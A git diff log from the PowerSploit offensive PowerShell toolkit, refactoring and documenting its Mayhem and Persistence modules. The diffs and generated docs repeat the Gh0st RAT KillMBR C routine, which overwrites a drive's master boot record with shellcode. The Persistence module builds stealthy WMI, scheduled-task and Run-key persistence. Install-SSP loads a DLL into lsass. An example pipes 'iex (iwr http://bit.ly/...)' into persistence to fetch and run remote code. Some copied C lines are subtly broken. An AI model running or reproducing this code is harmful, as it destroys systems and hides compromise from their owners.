Obviously, this will only work if you have a master boot record to - overwrite. This won't work if you have a GPT (GUID partition table) -#> +Obviously, this will only work if you have a master boot record to +overwrite. This won't work if you have a GPT (GUID partition table). -<# This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us): -// CGh0stApp message handlers - -unsigned char scode[] = -"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" -"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" -"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; - -int CGh0stApp::KillMBR() -{ - HANDLE hDevice; - DWORD dwBytesWritten, dwBytesReturned; - BYTE pMBR[512] = {0}; - - // ????MBR - memcpy(pMBR, scode, sizeof(scode) - 1); - pMBR[510] = 0x55; - pMBR[511] = 0xAA; - - hDevice = CreateFile - ( - "\\\\.\\PHYSICALDRIVE0", - GENERIC_READ | GENERIC_WRITE, - FILE_SHARE_READ | FILE_SHARE_WRITE, - NULL, - OPEN_EXISTING, - 0, - NULL - ); - if (hDevice == INVALID_HANDLE_VALUE) - return -1; - DeviceIoControl - ( - hDevice, - FSCTL_LOCK_VOLUME, - NULL, - 0, - NULL, - 0, - &dwBytesReturned, - NULL - ); - // ?????? - WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); - DeviceIoControl - ( - hDevice, - FSCTL_UNLOCK_VOLUME, - NULL, - 0, - NULL, - 0, - &dwBytesReturned, - NULL - ); - CloseHandle(hDevice); - - ExitProcess(-1); - return 0; -} +// CGh0stApp message handlers + +unsigned char scode[] = +"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" +"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" +"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; + +int CGh0stApp::KillMBR() +{ + HANDLE hDevice; + DWORD dwBytesWritten, dwBytesReturned; + BYTE pMBR[512] = {0}; + + // ????MBR + memcpy(pMBR, scode, sizeof(scode) - 1); + pMBR[510] = 0x55; + pMBR[511] = 0xAA; + + hDevice = CreateFile + ( + "\\\\.\\PHYSICALDRIVE0", + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + 0, + NULL + ); + if (hDevice == INVALID_HANDLE_VALUE) + return -1; + DeviceIoControl + ( + hDevice, + FSCTL_LOCK_VOLUME, + NULL, + 0, + NULL, + 0, + &dwBytesReturned, + NUL + ) + // ?????? + WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); + DeviceIoControl + ( + hDevice, + FSCTL_UNLOCK_VOLUME, + NULL, + 0, + NULL, + 0, + &dwBytesReturned, + NULL + ); + CloseHandle(hDevice); + + ExitProcess(-1); + return 0; +} #> - [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param ( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] + [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] + Param ( [ValidateLength(1, 479)] [String] $BootMessage = 'Stop-Crying; Get-NewHardDrive', @@ -220,7 +220,7 @@ int CGh0stApp::KillMBR() $MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize) # Zero-initialize the allocated unmanaged memory - 0..511 | % { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) } + 0..511 | ForEach-Object { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) } [Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length) @@ -272,11 +272,11 @@ function Set-CriticalProcess Causes your machine to blue screen upon exiting PowerShell. -PowerSploit Function: Set-CriticalProcess -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +PowerSploit Function: Set-CriticalProcess +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .PARAMETER ExitImmediately @@ -300,7 +300,9 @@ Set-CriticalProcess -Force -Verbose #> - [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param ( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] + Param ( [Switch] $Force, @@ -319,7 +321,7 @@ Set-CriticalProcess -Force -Verbose { $Response = $psCmdlet.ShouldContinue('Have you saved all your work?', 'The machine will blue screen when you exit PowerShell.') } - + if (!$Response) { return diff --git a/docs/Mayhem/Set-CriticalProcess.md b/docs/Mayhem/Set-CriticalProcess.md new file mode 100755 index 0000000..1ec952f --- /dev/null +++ b/docs/Mayhem/Set-CriticalProcess.md @@ -0,0 +1,108 @@ +# Set-CriticalProcess + +## SYNOPSIS +Causes your machine to blue screen upon exiting PowerShell. + +PowerSploit Function: Set-CriticalProcess +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Set-CriticalProcess [-Force] [-ExitImmediately] [-WhatIf] [-Confirm] +``` + +## DESCRIPTION +{{Fill in the Description}} + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Set-CriticalProcess +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Set-CriticalProcess -ExitImmediately +``` + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Set-CriticalProcess -Force -Verbose +``` + +## PARAMETERS + +### -Force +Set the running PowerShell process as critical without asking for confirmation. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExitImmediately +Immediately exit PowerShell after successfully marking the process as critical. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -WhatIf +Shows what would happen if the cmdlet runs. +The cmdlet is not run. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: wi + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Confirm +Prompts you for confirmation before running the cmdlet. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: cf + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + diff --git a/docs/Mayhem/Set-MasterBootRecord.md b/docs/Mayhem/Set-MasterBootRecord.md new file mode 100755 index 0000000..0aa994d --- /dev/null +++ b/docs/Mayhem/Set-MasterBootRecord.md @@ -0,0 +1,184 @@ +# Set-MasterBootRecord + +## SYNOPSIS +Proof of concept code that overwrites the master boot record with the +message of your choice. + +PowerSploit Function: Set-MasterBootRecord +Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Set-MasterBootRecord [[-BootMessage] ] [-RebootImmediately] [-Force] [-WhatIf] [-Confirm] +``` + +## DESCRIPTION +Set-MasterBootRecord is proof of concept code designed to show that it is +possible with PowerShell to overwrite the MBR. +This technique was taken +from a public malware sample. +This script is inteded solely as proof of +concept code. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC' +``` + +## PARAMETERS + +### -BootMessage +Specifies the message that will be displayed upon making your computer a brick. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: Stop-Crying; Get-NewHardDrive +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RebootImmediately +Reboot the machine immediately upon overwriting the MBR. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Force +Suppress the warning prompt. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -WhatIf +Shows what would happen if the cmdlet runs. +The cmdlet is not run. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: wi + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Confirm +Prompts you for confirmation before running the cmdlet. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: cf + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +Obviously, this will only work if you have a master boot record to +overwrite. +This won't work if you have a GPT (GUID partition table). + +This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us): + +// CGh0stApp message handlers + +unsigned char scode\[\] = +"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" +"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" +"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; + +int CGh0stApp::KillMBR() +{ + HANDLE hDevice; + DWORD dwBytesWritten, dwBytesReturned; + BYTE pMBR\[512\] = {0}; + + // ????MBR + memcpy(pMBR, scode, sizeof(scode) - 1); + pMBR\[510\] = 0x55; + pMBR\[511\] = 0xAA; + + hDevice = CreateFile + ( + "\\\\\\\\.\\\\PHYSICALDRIVE0", + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + 0, + NULL + ); + if (hDevice == INVALID_HANDLE_VALUE) + return -1; + DeviceIoControl + ( + hDevice, + FSCTL_LOCK_VOLUME, + NULL, + 0, + NULL, + 0, + &dwBytesReturned, + NUL + ) + // ?????? + WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); + DeviceIoControl + ( + hDevice, + FSCTL_UNLOCK_VOLUME, + NULL, + 0, + NULL, + 0, + &dwBytesReturned, + NULL + ); + CloseHandle(hDevice); + + ExitProcess(-1); + return 0; +} + +## RELATED LINKS + diff --git a/mkdocs.yml b/mkdocs.yml index 8cc8a39..8012ab0 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -124,7 +124,11 @@ pages: - Find-AVSignature: 'AntivirusBypass/Find-AVSignature.md' - CodeExecution: - Functions: - - Find-AVSignature: 'CodeExecution/Invoke-DllInjection.md' - - Find-AVSignature: 'CodeExecution/Invoke-ReflectivePEInjection.md' - - Find-AVSignature: 'CodeExecution/Invoke-Shellcode.md' - - Find-AVSignature: 'CodeExecution/Invoke-WmiCommand.md' + - Invoke-DllInjection: 'CodeExecution/Invoke-DllInjection.md' + - Invoke-ReflectivePEInjection: 'CodeExecution/Invoke-ReflectivePEInjection.md' + - Invoke-Shellcode: 'CodeExecution/Invoke-Shellcode.md' + - Invoke-WmiCommand: 'CodeExecution/Invoke-WmiCommand.md' +- Mayhem: + - Functions: + - Set-MasterBootRecord: 'Mayhem/Set-MasterBootRecord.md' + - Set-CriticalProcess: 'Mayhem/Set-CriticalProcess.md' -- cgit v1.2.3 From cf444398cab3f77f9b8cc7bd23e3e506621eb150 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 14 Dec 2016 18:24:33 -0500 Subject: For ./Persistence/ : -PSScriptAnalyzering -Tweaking of synopsis blocks in order to support platyPS -Code standardization -Generated docs --- Persistence/Persistence.psm1 | 278 ++++++++++++---------- docs/Persistence/Add-Persistence.md | 227 ++++++++++++++++++ docs/Persistence/Get-SecurityPackage.md | 37 +++ docs/Persistence/Install-SSP.md | 60 +++++ docs/Persistence/New-ElevatedPersistenceOption.md | 235 ++++++++++++++++++ docs/Persistence/New-UserPersistenceOption.md | 179 ++++++++++++++ docs/index.md | 2 +- mkdocs.yml | 7 + 8 files changed, 894 insertions(+), 131 deletions(-) create mode 100755 docs/Persistence/Add-Persistence.md create mode 100755 docs/Persistence/Get-SecurityPackage.md create mode 100755 docs/Persistence/Install-SSP.md create mode 100755 docs/Persistence/New-ElevatedPersistenceOption.md create mode 100755 docs/Persistence/New-UserPersistenceOption.md (limited to 'docs') diff --git a/Persistence/Persistence.psm1 b/Persistence/Persistence.psm1 index 0861af6..7e4bbb9 100644 --- a/Persistence/Persistence.psm1 +++ b/Persistence/Persistence.psm1 @@ -3,84 +3,86 @@ function New-ElevatedPersistenceOption <# .SYNOPSIS - Configure elevated persistence options for the Add-Persistence function. - - PowerSploit Function: New-ElevatedPersistenceOption - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - +Configure elevated persistence options for the Add-Persistence function. + +PowerSploit Function: New-ElevatedPersistenceOption +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + .DESCRIPTION - New-ElevatedPersistenceOption allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: permanent WMI subscription, scheduled task, and registry. +New-ElevatedPersistenceOption allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: permanent WMI subscription, scheduled task, and registry. .PARAMETER PermanentWMI - Persist via a permanent WMI event subscription. This option will be the most difficult to detect and remove. +Persist via a permanent WMI event subscription. This option will be the most difficult to detect and remove. - Detection Difficulty: Difficult - Removal Difficulty: Difficult - User Detectable? No +Detection Difficulty: Difficult +Removal Difficulty: Difficult +User Detectable? No .PARAMETER ScheduledTask - Persist via a scheduled task. +Persist via a scheduled task. - Detection Difficulty: Moderate - Removal Difficulty: Moderate - User Detectable? No +Detection Difficulty: Moderate +Removal Difficulty: Moderate +User Detectable? No .PARAMETER Registry - Persist via the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user. +Persist via the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user. - Detection Difficulty: Easy - Removal Difficulty: Easy - User Detectable? Yes +Detection Difficulty: Easy +Removal Difficulty: Easy +User Detectable? Yes .PARAMETER AtLogon - Starts the payload upon any user logon. +Starts the payload upon any user logon. .PARAMETER AtStartup - Starts the payload within 240 and 325 seconds of computer startup. +Starts the payload within 240 and 325 seconds of computer startup. .PARAMETER OnIdle - Starts the payload after one minute of idling. +Starts the payload after one minute of idling. .PARAMETER Daily - Starts the payload daily. +Starts the payload daily. .PARAMETER Hourly - Starts the payload hourly. +Starts the payload hourly. .PARAMETER At - Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'. +Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'. .EXAMPLE - C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM' +$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM' .EXAMPLE - C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup +$ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup .EXAMPLE - C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle +$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle .LINK - http://www.exploit-monday.com +http://www.exploit-monday.com #> - [CmdletBinding()] Param ( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding()] + Param ( [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )] [Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )] [Switch] @@ -189,68 +191,70 @@ function New-UserPersistenceOption <# .SYNOPSIS - Configure user-level persistence options for the Add-Persistence function. +Configure user-level persistence options for the Add-Persistence function. + +PowerSploit Function: New-UserPersistenceOption +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None - PowerSploit Function: New-UserPersistenceOption - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - .DESCRIPTION - New-UserPersistenceOption allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: scheduled task, registry. +New-UserPersistenceOption allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: scheduled task, registry. .PARAMETER ScheduledTask - Persist via a scheduled task. +Persist via a scheduled task. - Detection Difficulty: Moderate - Removal Difficulty: Moderate - User Detectable? No +Detection Difficulty: Moderate +Removal Difficulty: Moderate +User Detectable? No .PARAMETER Registry - Persist via the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user. +Persist via the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user. - Detection Difficulty: Easy - Removal Difficulty: Easy - User Detectable? Yes +Detection Difficulty: Easy +Removal Difficulty: Easy +User Detectable? Yes .PARAMETER AtLogon - Starts the payload upon any user logon. +Starts the payload upon any user logon. .PARAMETER OnIdle - Starts the payload after one minute of idling. +Starts the payload after one minute of idling. .PARAMETER Daily - Starts the payload daily. +Starts the payload daily. .PARAMETER Hourly - Starts the payload hourly. +Starts the payload hourly. .PARAMETER At - Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'. +Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'. .EXAMPLE - C:\PS> $UserOptions = New-UserPersistenceOption -Registry -AtLogon +$UserOptions = New-UserPersistenceOption -Registry -AtLogon .EXAMPLE - C:\PS> $UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle +$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle .LINK - http://www.exploit-monday.com +http://www.exploit-monday.com #> - [CmdletBinding()] Param ( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding()] + Param ( [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] [Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )] [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )] @@ -333,99 +337,104 @@ function Add-Persistence <# .SYNOPSIS - Add persistence capabilities to a script. +Add persistence capabilities to a script. + +PowerSploit Function: Add-Persistence +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: New-ElevatedPersistenceOption, New-UserPersistenceOption +Optional Dependencies: None - PowerSploit Function: Add-Persistence - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: New-ElevatedPersistenceOption, New-UserPersistenceOption - Optional Dependencies: None - .DESCRIPTION - Add-Persistence will add persistence capabilities to any script or scriptblock. This function will output both the newly created script with persistence capabilities as well a script that will remove a script after it has been persisted. +Add-Persistence will add persistence capabilities to any script or scriptblock. This function will output both the newly created script with persistence capabilities as well a script that will remove a script after it has been persisted. .PARAMETER ScriptBlock - Specifies a scriptblock containing your payload. +Specifies a scriptblock containing your payload. .PARAMETER FilePath - Specifies the path to your payload. +Specifies the path to your payload. .PARAMETER ElevatedPersistenceOption - Specifies the trigger for the persistent payload if the target is running elevated. - You must run New-ElevatedPersistenceOption to generate this argument. +Specifies the trigger for the persistent payload if the target is running elevated. +You must run New-ElevatedPersistenceOption to generate this argument. .PARAMETER UserPersistenceOption - Specifies the trigger for the persistent payload if the target is not running elevated. - You must run New-UserPersistenceOption to generate this argument. +Specifies the trigger for the persistent payload if the target is not running elevated. +You must run New-UserPersistenceOption to generate this argument. .PARAMETER PersistenceScriptName - Specifies the name of the function that will wrap the original payload. The default value is 'Update-Windows'. +Specifies the name of the function that will wrap the original payload. The default value is 'Update-Windows'. .PARAMETER DoNotPersistImmediately - Output only the wrapper function for the original payload. By default, Add-Persistence will output a script that will automatically attempt to persist (e.g. it will end with 'Update-Windows -Persist'). If you are in a position where you are running in memory but want to persist at a later time, use this option. +Output only the wrapper function for the original payload. By default, Add-Persistence will output a script that will automatically attempt to persist (e.g. it will end with 'Update-Windows -Persist'). If you are in a position where you are running in memory but want to persist at a later time, use this option. .PARAMETER PersistentScriptFilePath - Specifies the path where you would like to output the persistence script. By default, Add-Persistence will write the removal script to 'Persistence.ps1' in the current directory. +Specifies the path where you would like to output the persistence script. By default, Add-Persistence will write the removal script to 'Persistence.ps1' in the current directory. .PARAMETER RemovalScriptFilePath - Specifies the path where you would like to output a script that will remove the persistent payload. By default, Add-Persistence will write the removal script to 'RemovePersistence.ps1' in the current directory. +Specifies the path where you would like to output a script that will remove the persistent payload. By default, Add-Persistence will write the removal script to 'RemovePersistence.ps1' in the current directory. .PARAMETER PassThru - Outputs the contents of the persistent script to the pipeline. This option is useful when you want to write the original persistent script to disk and pass the script to Out-EncodedCommand via the pipeline. +Outputs the contents of the persistent script to the pipeline. This option is useful when you want to write the original persistent script to disk and pass the script to Out-EncodedCommand via the pipeline. .INPUTS - None +None - Add-Persistence cannot receive any input from the pipeline. +Add-Persistence cannot receive any input from the pipeline. .OUTPUTS - System.Management.Automation.ScriptBlock +System.Management.Automation.ScriptBlock - If the '-PassThru' switch is provided, Add-Persistence will output a scriptblock containing the contents of the persistence script. +If the '-PassThru' switch is provided, Add-Persistence will output a scriptblock containing the contents of the persistence script. .NOTES - When the persistent script executes, it will not generate any meaningful output as it was designed to run as silently as possible on the victim's machine. +When the persistent script executes, it will not generate any meaningful output as it was designed to run as silently as possible on the victim's machine. .EXAMPLE - C:\PS>$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM' - C:\PS>$UserOptions = New-UserPersistenceOption -Registry -AtLogon - C:\PS>Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose +$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM' +$UserOptions = New-UserPersistenceOption -Registry -AtLogon +Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose - Description - ----------- - Creates a script containing the contents of EvilPayload.ps1 that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime. +Description +----------- +Creates a script containing the contents of EvilPayload.ps1 that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime. .EXAMPLE - C:\PS>$Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) } - C:\PS>$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle - C:\PS>$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle - C:\PS>Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1 +$Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) } +$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle +$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle +Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1 - Description - ----------- - Creates a script containing the contents of the provided scriptblock that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime. The output is then passed through to Out-EncodedCommand so that it can be executed in a single command line statement. The final, encoded output is finally saved to .\EncodedPersistentScript.ps1 +Description +----------- +Creates a script containing the contents of the provided scriptblock that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime. The output is then passed through to Out-EncodedCommand so that it can be executed in a single command line statement. The final, encoded output is finally saved to .\EncodedPersistentScript.ps1 .LINK - http://www.exploit-monday.com +http://www.exploit-monday.com #> - - [CmdletBinding()] Param ( + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingInvokeExpression', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingCmdletAliases', '')] + [CmdletBinding()] + Param ( [Parameter( Mandatory = $True, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )] [ValidateNotNullOrEmpty()] [ScriptBlock] @@ -527,7 +536,6 @@ function Add-Persistence #region Initialize data - $CompressedScript = '' $UserTrigger = '' $UserTriggerRemoval = '' $ElevatedTrigger = "''" @@ -598,7 +606,7 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj { $ElevatedTrigger = "schtasks /Create /RU system /SC ONLOGON /TN Updater /TR " } - + 'Daily' { $ElevatedTrigger = "schtasks /Create /RU system /SC DAILY /ST $($ElevatedPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR " @@ -736,7 +744,7 @@ $ElevatedTriggerRemoval $UserTriggerRemoval "@ - + $PersistantScript | Out-File $PersistentScriptFile Write-Verbose "Persistence script written to $PersistentScriptFile" @@ -759,10 +767,10 @@ function Install-SSP Installs a security support provider (SSP) dll. -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION @@ -785,7 +793,12 @@ if you are running a 64-bit OS. In order for the SSP dll to be loaded properly into lsass, the dll must export SpLsaModeInitialize. #> - [CmdletBinding()] Param ( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingCmdletAliases', '')] + [CmdletBinding()] + Param ( [ValidateScript({Test-Path (Resolve-Path $_)})] [String] $Path @@ -811,43 +824,43 @@ into lsass, the dll must export SpLsaModeInitialize. [String] $Path ) - + # Parse PE header to see if binary was compiled 32 or 64-bit $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) - + [Byte[]] $MZHeader = New-Object Byte[](2) $FileStream.Read($MZHeader,0,2) | Out-Null - + $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader) if ($Header -ne 'MZ') { $FileStream.Close() Throw 'Invalid PE header.' } - + # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header) $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null - + [Byte[]] $lfanew = New-Object Byte[](4) - + # Read offset to the PE Header (will be read in reverse) $FileStream.Read($lfanew,0,4) | Out-Null - $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join '')) - + $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | ForEach-Object { $_.ToString('X2') } ) -join '')) + # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2) - + # Read compiled architecture $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null - $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '') + $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | ForEach-Object { $_.ToString('X2') } ) -join '') $FileStream.Close() - + if (($Architecture -ne '014C') -and ($Architecture -ne '8664')) { Throw 'Invalid PE header or unsupported architecture.' } - + if ($Architecture -eq '014C') { Write-Output '32-bit' @@ -875,7 +888,7 @@ into lsass, the dll must export SpLsaModeInitialize. # Get the dll filename without the extension. # This will be added to the registry. - $DllName = $Dll | % { % {($_ -split '\.')[0]} } + $DllName = $Dll | ForEach-Object { % {($_ -split '\.')[0]} } # Enumerate all of the currently installed SSPs $SecurityPackages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' | @@ -928,7 +941,8 @@ into lsass, the dll must export 